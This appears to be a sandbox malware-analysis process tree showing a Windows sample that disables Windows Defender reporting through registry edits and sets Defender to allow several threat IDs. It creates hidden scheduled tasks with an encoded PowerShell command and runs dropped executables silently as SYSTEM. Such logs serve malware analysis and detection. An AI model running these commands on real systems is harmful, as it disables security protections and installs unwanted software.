C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&8⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:329⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:649⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gsGIKHqVm" /SC once /ST 15:43:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gsGIKHqVm"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gsGIKHqVm"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bFZpgwNlQHGZXuKxuE" /SC once /ST 21:55:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\AbTWeSE.exe\" 9i /site_id 757674 /S" /V1 /F7⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20764⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\SSotFuFE\OLSqPmjUAse.exeC:\Users\Admin\AppData\Local\Temp\SSotFuFE\OLSqPmjUAse.exe /silentus SUB=1df4967a8b55e0254e559fb7330da0364⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\is-IBFD3.tmp\is-1FTFD.tmp"C:\Users\Admin\AppData\Local\Temp\is-IBFD3.tmp\is-1FTFD.tmp" /SL4 $100050 "C:\Users\Admin\AppData\Local\Temp\SSotFuFE\OLSqPmjUAse.exe" 2460054 52736 /silentus SUB=1df4967a8b55e0254e559fb7330da0365⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
-
C:\Program Files (x86)\PES Disk Master\pes58.exe"C:\Program Files (x86)\PES Disk Master\pes58.exe" /silentus SUB=1df4967a8b55e0254e559fb7330da0366⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "pes58.exe" /f & erase "C:\Program Files (x86)\PES Disk Master\pes58.exe" & exit7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "pes58.exe" /f8⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21804⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21884⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20604⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21844⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 18204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15204⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21924⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 21284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 20764⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17284⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22364⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22404⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 12164⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19844⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22524⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22724⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15884⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17844⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 22684⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19404⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19844⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17724⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 16524⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19764⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15924⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 17644⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 15924⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 19484⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2284 -s 1404⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 952 -ip 9521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 952 -ip 9521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 952 -ip 9521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 952 -ip 9521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2284 -ip 22841⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 2284 -ip 22841⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2284 -ip 22841⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 664 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 680 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 2284 -ip 22841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 2284 -ip 22841⤵
-
C:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\AbTWeSE.exeC:\Users\Admin\AppData\Local\Temp\OjMvmTgzssfiXiGwf\CPfhbPwQuahfpxY\AbTWeSE.exe 9i /site_id 757674 /S1⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
